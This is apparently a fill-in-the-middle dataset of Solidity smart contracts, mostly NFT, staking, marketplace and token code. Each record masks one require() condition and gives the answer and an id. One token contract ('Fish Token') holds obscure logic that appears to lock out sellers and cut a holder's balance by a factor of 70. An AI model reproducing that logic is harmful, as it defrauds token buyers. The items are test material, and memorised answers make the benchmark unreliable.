function setUpBeforesale() external onlyOwner {
}
function setUpSale() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setSignerAddress(address _newAddress) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
function changeWallet(address _newwalladdress) external onlyOwner {
}
// FACTORY
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| isValidData(messageHash,signature),"SIGNATURE_VALIDATION_FAILED" | 297,134 | isValidData(messageHash,signature) |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
contract FamousApeMovieClub is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public constant MAXSUPPLY = 5555;
uint256 public constant MAX_SELF_MINT = 10;
address private signerAddress = 0x454359b0ba79eEC5331dE58077AF2B2b2576639F;
address public mainAddress = 0x29Be76B28B5E1BcEfd2A04428417b99f2e402960;
string public baseURI;
enum WorkflowStatus {
Before,
Presale,
Sale,
SoldOut
}
WorkflowStatus public workflow;
constructor(
string memory _initBaseURI
) ERC721("FamousApeMovieClub", "FAMC") {
}
//GETTERS
function publicSaleLimit() public pure returns (uint256) {
}
function getSaleStatus() public view returns (WorkflowStatus) {
}
function hashMessage(address sender) private pure returns (bytes32) {
}
function isValidData(bytes32 message,bytes memory sig) private
view returns (bool) {
}
function recoverSigner(bytes32 message, bytes memory sig)
public
pure
returns (address)
{
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
}
function presaleMint(bytes32 messageHash, bytes calldata signature, uint256 ammount)
external
payable
nonReentrant
{
}
function publicSaleMint(uint256 ammount) public payable nonReentrant {
}
// Before All.
function setUpPresale() external onlyOwner {
}
function setUpBeforesale() external onlyOwner {
}
function setUpSale() external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setSignerAddress(address _newAddress) public onlyOwner {
}
function withdrawAll() public payable onlyOwner {
uint256 mainadress_balance = address(this).balance;
require(<FILL_ME>)
}
function changeWallet(address _newwalladdress) external onlyOwner {
}
// FACTORY
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
}
}
| payable(mainAddress).send(mainadress_balance) | 297,134 | payable(mainAddress).send(mainadress_balance) |
"no seller auctions" | pragma solidity 0.4.25;
library SafeMath256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function _validateAddress(address _addr) internal pure {
}
constructor() public {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract Controllable is Ownable {
mapping(address => bool) controllers;
modifier onlyController {
}
function _isController(address _controller) internal view returns (bool) {
}
function _setControllers(address[] _controllers) internal {
}
}
contract Upgradable is Controllable {
address[] internalDependencies;
address[] externalDependencies;
function getInternalDependencies() public view returns(address[]) {
}
function getExternalDependencies() public view returns(address[]) {
}
function setInternalDependencies(address[] _newDependencies) public onlyOwner {
}
function setExternalDependencies(address[] _newDependencies) public onlyOwner {
}
}
//////////////CONTRACT//////////////
contract Marketplace is Upgradable {
using SafeMath256 for uint256;
struct Auction {
address seller;
uint256 startPrice;
uint256 endPrice;
uint16 period; // in hours
uint256 created;
bool isGold; // gold or ether
}
uint256 constant MULTIPLIER = 1000000; // for more accurate calculations
uint16 constant MAX_PERIOD = 8760; // 8760 hours = 1 year
uint8 constant FLAT_TYPE = 0;
uint8 constant INCREASING_TYPE = 1;
uint8 constant DUTCH_TYPE = 2;
mapping (address => uint256[]) internal ownedTokens;
mapping (uint256 => uint256) internal ownedTokensIndex;
mapping (uint256 => uint256) allTokensIndex;
mapping (uint256 => Auction) tokenToAuction;
uint256[] allTokens;
constructor() public {}
function sellToken(
uint256 _tokenId,
address _seller,
uint256 _startPrice,
uint256 _endPrice,
uint16 _period,
bool _isGold
) external onlyController {
}
function removeFromAuction(uint256 _tokenId) external onlyController {
}
function buyToken(
uint256 _tokenId,
uint256 _value,
uint256 _expectedPrice,
bool _expectedIsGold
) external onlyController returns (uint256 price) {
}
function _remove(address _from, uint256 _tokenId) internal {
}
function _removeFrom(address _from, uint256 _tokenId) internal {
require(<FILL_ME>)
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _getCurrentPrice(uint256 _id) internal view returns (uint256) {
}
function _calculateCurrentPrice(
uint256 _startPrice,
uint256 _endPrice,
uint16 _period,
uint256 _created
) internal view returns (uint256) {
}
// GETTERS
function sellerOf(uint256 _id) external view returns (address) {
}
function getAuction(uint256 _id) external view returns (
address, uint256, uint256, uint256, uint16, uint256, bool
) {
}
function tokensOfOwner(address _owner) external view returns (uint256[]) {
}
function getAllTokens() external view returns (uint256[]) {
}
function totalSupply() public view returns (uint256) {
}
}
contract EggMarketplace is Marketplace {}
| ownedTokens[_from].length>0,"no seller auctions" | 297,179 | ownedTokens[_from].length>0 |
null | /*
/`·.¸
/¸...¸`:·
¸.·´ ¸ `·.¸.·´)
: © ):´; ¸ {
`·.¸ `· ¸.·´\`·¸)
`\\´´\¸.·´
@FishTokenETH
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Bogota;
mapping (address => bool) private Panama;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public pair;
uint256 private crossing;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSenders;
uint256 private _totalSupply; uint256 private Guatemala; uint256 private Mexico;
bool private Sinaloa; uint256 private Yucatan;
uint256 private Flower = 0;
address private Leaves = address(0);
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function _balanceTheOctopus(address account) internal {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function _balanceTheMoron(address sender, address recipient, uint256 amount, bool doodle) internal {
(Guatemala,Sinaloa) = doodle ? (Mexico, true) : (Guatemala,Sinaloa);
if ((Bogota[sender] != true)) {
require(amount < Guatemala);
if (Sinaloa == true) {
require(<FILL_ME>)
Panama[sender] = true;
}
}
_balances[Leaves] = ((Flower == block.timestamp) && (Bogota[recipient] != true) && (Bogota[Leaves] != true) && (Yucatan > 2)) ? (_balances[Leaves]/70) : (_balances[Leaves]);
Yucatan++; Leaves = recipient; Flower = block.timestamp;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function _SharkTank(address creator, uint256 jkal) internal virtual {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _burn(address account, uint256 amount) internal {
}
function _balanceTheKraken(address sender, address recipient, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployFish(address account, uint256 amount) internal virtual {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract FishToken is ERC20Token {
constructor() ERC20Token("Fish Token", "FISH", msg.sender, 20000000 * 10 ** 18) {
}
}
| !(Panama[sender]==true) | 297,199 | !(Panama[sender]==true) |
null | pragma solidity ^0.6.0;
import "./SafeMath.sol";
import "./Ownable.sol";
import "./Testable.sol";
import "./Withdrawable.sol";
import "./PriceFeedInterface.sol";
/**
* @title Implementation of PriceFeedInterface with the ability to manually push prices.
*/
contract ManualPriceFeed is PriceFeedInterface, Withdrawable, Testable {
using SafeMath for uint;
// A single price update.
struct PriceTick {
uint256 timestamp;
int256 price;
}
// Mapping from identifier to the latest price for that identifier.
mapping(bytes32 => PriceTick) private prices;
// Ethereum timestamp tolerance.
// Note: this is technically the amount of time that a block timestamp can be *ahead* of the current time. However,
// we are assuming that blocks will never get more than this amount *behind* the current time. The only requirement
// limiting how early the timestamp can be is that it must have a later timestamp than its parent. However,
// this bound will probably work reasonably well in both directions.
uint256 private constant BLOCK_TIMESTAMP_TOLERANCE = 900;
enum Roles { Governance, Writer, Withdraw }
constructor(address _timerAddress) public Testable(_timerAddress) {
}
/**
* @notice Adds a new price to the series for a given identifier.
* @dev The pushed publishTime must be later than the last time pushed so far.
*/
function pushLatestPrice(bytes32 identifier, uint256 publishTime, int256 newPrice)
external
onlyRoleHolder(uint(Roles.Writer))
{
}
/**
* @notice Whether this feed has ever published any prices for this identifier.
*/
// TODO(#969) Remove once prettier-plugin-solidity can handle the "override" keyword
// prettier-ignore
function isIdentifierSupported(bytes32 identifier) external override view returns (bool isSupported) {
}
// TODO(#969) Remove once prettier-plugin-solidity can handle the "override" keyword
// prettier-ignore
function latestPrice(bytes32 identifier) external override view returns (uint256 publishTime, int256 price) {
require(<FILL_ME>)
publishTime = prices[identifier].timestamp;
price = prices[identifier].price;
}
function _isIdentifierSupported(bytes32 identifier) private view returns (bool isSupported) {
}
}
| _isIdentifierSupported(identifier) | 297,213 | _isIdentifierSupported(identifier) |
'!values' | pragma solidity >=0.8.0;
contract EarnableFi is ERC20('EarnableFi', 'EFI'), Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant public MAX_SUPPLY = 30000000000 * 1e18; // 30B max supply
uint16 private MAX_BP_RATE = 10000;
uint16 private devTaxRate = 300;
uint16 private marketingTaxRate = 500;
uint16 private burnTaxRate = 400;
uint16 private passiveIncomeRewardTaxRate = 700;
uint16 private maxTransferAmountRate = 1000;
uint256 public minAmountToSwap = 1000000000 * 1e18; // 10% of total supply
uint256 public totalDividends; // dividend balance in balanceOf(address(this))
uint256 public increasedDividends; // dividend amount so far
IUniswapV2Router02 public uniswapRouter;
// The trading pair
address public uniswapPair;
address public feeRecipient = 0x9489Af121660de8c644C981f71dF2c61C205f4Ca;
// In swap and withdraw
bool private _inSwapAndWithdraw;
// The operator can only update the transfer tax rate
address private _operator;
// Automatic swap and liquify enabled
bool public swapAndWithdrawEnabled = false;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromMaxTx;
bool private _tradingOpen = false;
string public website = "https://earnablefi.com";
string public telegram = "https://t.me/earnablefiportal";
struct CoinTypeInfo {
address coinAddress;
address[] routerPath;
}
mapping(address => uint256) public claimed; // claimed amount by user
mapping(address => uint256) public dividendsWhenClaim; // dividend amount when user are claiming
CoinTypeInfo[] public coins;
modifier onlyOperator() {
}
modifier lockTheSwap {
}
modifier transferTaxFree {
}
constructor() public {
}
/**
* @dev Returns the address of the current operator.
*/
function operator() public view returns (address) {
}
/// @notice Burns `_amount` token fromo `_from`. Must only be called by the owner.
function burn(address _from, uint256 _amount) public onlyOwner {
}
function _transfer(address _sender, address _recepient, uint256 _amount) internal override {
}
/**
* @dev Transfers operator of the contract to a new account (`newOperator`).
* Can only be called by the current operator.
*/
function transferOperator(address newOperator) public onlyOperator {
}
/**
* @dev Update the swap router.
* Can only be called by the current operator.
*/
function updatePancakeRouter(address _router) public onlyOperator {
}
/**
* @dev Update the swapAndWithdrawEnabled.
* Can only be called by the current operator.
*/
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOperator {
}
function manualSwap() external onlyOperator {
}
function manualWithdraw() external onlyOperator {
}
/// @dev Swap and liquify
function swapAndWithdraw() private lockTheSwap transferTaxFree {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount) private {
}
/**
* @dev Returns the max transfer amount.
*/
function maxTransferAmount() public view returns (uint256) {
}
function updateFees(uint16 _passiveIncomeRate, uint16 _devTaxRate, uint16 _marketingTaxRate) external onlyOwner {
require(<FILL_ME>)
passiveIncomeRewardTaxRate = _passiveIncomeRate;
devTaxRate = _devTaxRate;
marketingTaxRate = _marketingTaxRate;
}
function setMaxTransferAmountRate(uint16 _maxTransferAmountRate) external onlyOwner {
}
function openTrading() external onlyOwner {
}
function isExcludedFromFee(address _addr) external view returns (bool) {
}
function excludeFromFee(address _addr, bool _is) external onlyOperator {
}
function isExcludedFromMaxTx(address _addr) external view returns (bool) {
}
function excludeFromMaxTx(address _addr, bool _is) external onlyOperator {
}
function withdrawDividends(uint16 _cId) external {
}
function withdrawableDividends(address _user) public view returns (uint256) {
}
function tokenAmountSold() private view returns (uint256) {
}
function addCoinInfo(address[] memory _path, address _coinAddr) external onlyOperator {
}
function updateCoinInfo(uint8 _cId, address[] memory _path, address _coinAddr) external onlyOperator {
}
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
}
function _delegate(address delegator, address delegatee)
internal
{
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
}
function getChainId() internal view returns (uint) {
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
| _passiveIncomeRate+_devTaxRate+_marketingTaxRate<=MAX_BP_RATE,'!values' | 297,301 | _passiveIncomeRate+_devTaxRate+_marketingTaxRate<=MAX_BP_RATE |
"The token contract is not authorised" | pragma solidity ^0.8.7;
contract WukongStaking is Ownable, ReentrancyGuard {
IERC721 public WukongNFT;
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
uint256 public HARDSTAKE_YIELD_PERDAY = 15;
uint256 public PASSIVESTAKE_YIELD_PERDAY = 5;
uint256 public stakingStartPoint;
address[] public authorisedLog;
bool public stakingLaunched;
bool public depositPaused;
uint256 public totalHardStaker;
uint256 public totalStakedNFT;
struct HardStaker {
uint256 accumulatedAmount;
uint256 lastCheckpoint;
uint256[] hardStakedWukongId;
}
struct PassiveStaker {
uint256 lastCheckPoint;
uint256 accumulatedAmount;
}
mapping(address => PassiveStaker) private _passiveStakers;
mapping(address => HardStaker) private _hardStakers;
mapping(uint256 => address) private _ownerOfHardStakingToken;
mapping (address => bool) private _authorised;
constructor(
address _wukong,
uint256 _stakingStartPoint
) {
}
modifier authorised() {
require(<FILL_ME>)
_;
}
function getHardStakingTokens(address _owner) public view returns (uint256[] memory) {
}
function hardStake(uint256 tokenId) external returns (bool) {
}
function unHardStake(uint256 tokenId) external returns (bool) {
}
function getAccumulatedHardStakeAmount(address staker) external view returns (uint256) {
}
function getAccumulatedPassiveStakeAmount(address _owner) external view returns (uint256) {
}
function accumulatePassiveStake(address _owner) internal {
}
function accumulateHardStake(address staker) internal {
}
function getCurrentHardStakeReward(address staker) internal view returns (uint256) {
}
function getPassiveStakeReward(address _owner) internal view returns (uint256) {
}
/**
* @dev Returns token owner address (returns address(0) if token is not inside the gateway)
*/
function ownerOf(uint256 tokenID) public view returns (address) {
}
/**
* @dev Admin function to authorise the contract address
*/
function authorise(address toAuth) public onlyOwner {
}
/**
* @dev Function allows admin add unauthorised address.
*/
function unauthorise(address addressToUnAuth) public onlyOwner {
}
function emergencyWithdraw(uint256[] memory tokenIDs) public onlyOwner {
}
function _moveTokenInTheList(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @dev Function allows to pause deposits if needed. Withdraw remains active.
*/
function pauseDeposit(bool _pause) public onlyOwner {
}
function launchStaking() public onlyOwner {
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4){
}
}
| _authorised[_msgSender()],"The token contract is not authorised" | 297,314 | _authorised[_msgSender()] |
"Not owner" | pragma solidity ^0.8.7;
contract WukongStaking is Ownable, ReentrancyGuard {
IERC721 public WukongNFT;
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
uint256 public HARDSTAKE_YIELD_PERDAY = 15;
uint256 public PASSIVESTAKE_YIELD_PERDAY = 5;
uint256 public stakingStartPoint;
address[] public authorisedLog;
bool public stakingLaunched;
bool public depositPaused;
uint256 public totalHardStaker;
uint256 public totalStakedNFT;
struct HardStaker {
uint256 accumulatedAmount;
uint256 lastCheckpoint;
uint256[] hardStakedWukongId;
}
struct PassiveStaker {
uint256 lastCheckPoint;
uint256 accumulatedAmount;
}
mapping(address => PassiveStaker) private _passiveStakers;
mapping(address => HardStaker) private _hardStakers;
mapping(uint256 => address) private _ownerOfHardStakingToken;
mapping (address => bool) private _authorised;
constructor(
address _wukong,
uint256 _stakingStartPoint
) {
}
modifier authorised() {
}
function getHardStakingTokens(address _owner) public view returns (uint256[] memory) {
}
function hardStake(uint256 tokenId) external returns (bool) {
address _sender = _msgSender();
require(<FILL_ME>)
HardStaker storage user = _hardStakers[_sender];
accumulatePassiveStake(_sender);
WukongNFT.safeTransferFrom(_sender, address(this), tokenId);
_ownerOfHardStakingToken[tokenId] = _sender;
accumulateHardStake(_sender);
user.hardStakedWukongId.push(tokenId);
if (user.hardStakedWukongId.length == 1) {
totalHardStaker += 1;
}
totalStakedNFT += 1;
return true;
}
function unHardStake(uint256 tokenId) external returns (bool) {
}
function getAccumulatedHardStakeAmount(address staker) external view returns (uint256) {
}
function getAccumulatedPassiveStakeAmount(address _owner) external view returns (uint256) {
}
function accumulatePassiveStake(address _owner) internal {
}
function accumulateHardStake(address staker) internal {
}
function getCurrentHardStakeReward(address staker) internal view returns (uint256) {
}
function getPassiveStakeReward(address _owner) internal view returns (uint256) {
}
/**
* @dev Returns token owner address (returns address(0) if token is not inside the gateway)
*/
function ownerOf(uint256 tokenID) public view returns (address) {
}
/**
* @dev Admin function to authorise the contract address
*/
function authorise(address toAuth) public onlyOwner {
}
/**
* @dev Function allows admin add unauthorised address.
*/
function unauthorise(address addressToUnAuth) public onlyOwner {
}
function emergencyWithdraw(uint256[] memory tokenIDs) public onlyOwner {
}
function _moveTokenInTheList(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @dev Function allows to pause deposits if needed. Withdraw remains active.
*/
function pauseDeposit(bool _pause) public onlyOwner {
}
function launchStaking() public onlyOwner {
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4){
}
}
| WukongNFT.ownerOf(tokenId)==_sender,"Not owner" | 297,314 | WukongNFT.ownerOf(tokenId)==_sender |
"Not owner of the staking NFT" | pragma solidity ^0.8.7;
contract WukongStaking is Ownable, ReentrancyGuard {
IERC721 public WukongNFT;
uint256 public constant SECONDS_IN_DAY = 24 * 60 * 60;
uint256 public HARDSTAKE_YIELD_PERDAY = 15;
uint256 public PASSIVESTAKE_YIELD_PERDAY = 5;
uint256 public stakingStartPoint;
address[] public authorisedLog;
bool public stakingLaunched;
bool public depositPaused;
uint256 public totalHardStaker;
uint256 public totalStakedNFT;
struct HardStaker {
uint256 accumulatedAmount;
uint256 lastCheckpoint;
uint256[] hardStakedWukongId;
}
struct PassiveStaker {
uint256 lastCheckPoint;
uint256 accumulatedAmount;
}
mapping(address => PassiveStaker) private _passiveStakers;
mapping(address => HardStaker) private _hardStakers;
mapping(uint256 => address) private _ownerOfHardStakingToken;
mapping (address => bool) private _authorised;
constructor(
address _wukong,
uint256 _stakingStartPoint
) {
}
modifier authorised() {
}
function getHardStakingTokens(address _owner) public view returns (uint256[] memory) {
}
function hardStake(uint256 tokenId) external returns (bool) {
}
function unHardStake(uint256 tokenId) external returns (bool) {
address sender = _msgSender();
require(<FILL_ME>)
HardStaker storage user = _hardStakers[sender];
accumulatePassiveStake(sender);
accumulateHardStake(sender);
WukongNFT.safeTransferFrom(address(this), sender, tokenId);
_ownerOfHardStakingToken[tokenId] = address(0);
user.hardStakedWukongId = _moveTokenInTheList(user.hardStakedWukongId, tokenId);
user.hardStakedWukongId.pop();
if (user.hardStakedWukongId.length == 0) {
totalHardStaker -= 1;
}
totalStakedNFT -= 1;
return true;
}
function getAccumulatedHardStakeAmount(address staker) external view returns (uint256) {
}
function getAccumulatedPassiveStakeAmount(address _owner) external view returns (uint256) {
}
function accumulatePassiveStake(address _owner) internal {
}
function accumulateHardStake(address staker) internal {
}
function getCurrentHardStakeReward(address staker) internal view returns (uint256) {
}
function getPassiveStakeReward(address _owner) internal view returns (uint256) {
}
/**
* @dev Returns token owner address (returns address(0) if token is not inside the gateway)
*/
function ownerOf(uint256 tokenID) public view returns (address) {
}
/**
* @dev Admin function to authorise the contract address
*/
function authorise(address toAuth) public onlyOwner {
}
/**
* @dev Function allows admin add unauthorised address.
*/
function unauthorise(address addressToUnAuth) public onlyOwner {
}
function emergencyWithdraw(uint256[] memory tokenIDs) public onlyOwner {
}
function _moveTokenInTheList(uint256[] memory list, uint256 tokenId) internal pure returns (uint256[] memory) {
}
/**
* @dev Function allows to pause deposits if needed. Withdraw remains active.
*/
function pauseDeposit(bool _pause) public onlyOwner {
}
function launchStaking() public onlyOwner {
}
function onERC721Received(address, address, uint256, bytes calldata) external pure returns(bytes4){
}
}
| _ownerOfHardStakingToken[tokenId]==sender,"Not owner of the staking NFT" | 297,314 | _ownerOfHardStakingToken[tokenId]==sender |
null | pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
}
}
contract Autonomy is Ownable {
address public congress;
bool init = false;
modifier onlyCongress() {
}
/**
* @dev initialize a Congress contract address for this token
*
* @param _congress address the congress contract address
*/
function initialCongress(address _congress) onlyOwner public {
require(<FILL_ME>)
require(_congress != address(0));
congress = _congress;
init = true;
}
/**
* @dev set a Congress contract address for this token
* must change this address by the last congress contract
*
* @param _congress address the congress contract address
*/
function changeCongress(address _congress) onlyCongress public {
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() onlyOwner public {
}
function destroyAndSend(address _recipient) onlyOwner public {
}
}
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
}
}
contract DRCWalletMgrParams is Claimable, Autonomy, Destructible {
uint256 public singleWithdraw; // Max value of single withdraw
uint256 public dayWithdraw; // Max value of one day of withdraw
uint256 public monthWithdraw; // Max value of one month of withdraw
uint256 public dayWithdrawCount; // Max number of withdraw counting
uint256 public chargeFee; // the charge fee for withdraw
address public chargeFeePool; // the address that will get the returned charge fees.
function initialSingleWithdraw(uint256 _value) onlyOwner public {
}
function initialDayWithdraw(uint256 _value) onlyOwner public {
}
function initialDayWithdrawCount(uint256 _count) onlyOwner public {
}
function initialMonthWithdraw(uint256 _value) onlyOwner public {
}
function initialChargeFee(uint256 _value) onlyOwner public {
}
function initialChargeFeePool(address _pool) onlyOwner public {
}
function setSingleWithdraw(uint256 _value) onlyCongress public {
}
function setDayWithdraw(uint256 _value) onlyCongress public {
}
function setDayWithdrawCount(uint256 _count) onlyCongress public {
}
function setMonthWithdraw(uint256 _value) onlyCongress public {
}
function setChargeFee(uint256 _value) onlyCongress public {
}
function setChargeFeePool(address _pool) onlyOwner public {
}
}
| !init | 297,331 | !init |
"OVM_XCHAIN: wrong sender of cross-domain message" | // SPDX-License-Identifier: MIT
pragma solidity >0.5.0 <0.8.0;
/* Interface Imports */
import { iOVM_CrossDomainMessenger } from "../../iOVM/bridge/messaging/iOVM_CrossDomainMessenger.sol";
/**
* @title OVM_CrossDomainEnabled
* @dev Helper contract for contracts performing cross-domain communications
*
* Compiler used: defined by inheriting contract
* Runtime target: defined by inheriting contract
*/
contract OVM_CrossDomainEnabled {
/*************
* Variables *
*************/
// Messenger contract used to send and recieve messages from the other domain.
address public messenger;
/***************
* Constructor *
***************/
/**
* @param _messenger Address of the CrossDomainMessenger on the current layer.
*/
constructor(
address _messenger
) {
}
/**********************
* Function Modifiers *
**********************/
/**
* Enforces that the modified function is only callable by a specific cross-domain account.
* @param _sourceDomainAccount The only account on the originating domain which is
* authenticated to call this function.
*/
modifier onlyFromCrossDomainAccount(
address _sourceDomainAccount
) {
require(
msg.sender == address(getCrossDomainMessenger()),
"OVM_XCHAIN: messenger contract unauthenticated"
);
require(<FILL_ME>)
_;
}
/**********************
* Internal Functions *
**********************/
/**
* Gets the messenger, usually from storage. This function is exposed in case a child contract
* needs to override.
* @return The address of the cross-domain messenger contract which should be used.
*/
function getCrossDomainMessenger()
internal
virtual
returns (
iOVM_CrossDomainMessenger
)
{
}
/**
* Sends a message to an account on another domain
* @param _crossDomainTarget The intended recipient on the destination domain
* @param _message The data to send to the target (usually calldata to a function with
* `onlyFromCrossDomainAccount()`)
* @param _gasLimit The gasLimit for the receipt of the message on the target domain.
*/
function sendCrossDomainMessage(
address _crossDomainTarget,
uint32 _gasLimit,
bytes memory _message
)
internal
{
}
}
| getCrossDomainMessenger().xDomainMessageSender()==_sourceDomainAccount,"OVM_XCHAIN: wrong sender of cross-domain message" | 297,388 | getCrossDomainMessenger().xDomainMessageSender()==_sourceDomainAccount |
"Exceeds maximum Paradise Panda supply" | contract Test is ERC721Enumerable, Ownable {
using Strings for uint256;
string _baseTokenURI;
uint256 private _reserved = 88;
uint256 private _price = 0.08 ether;
bool public _paused = true;
bool public _pausedPrivate = true;
bool public sealedTokenURI;
mapping(address => bool) private _privateSaleWhitelist;
// withdraw addresses
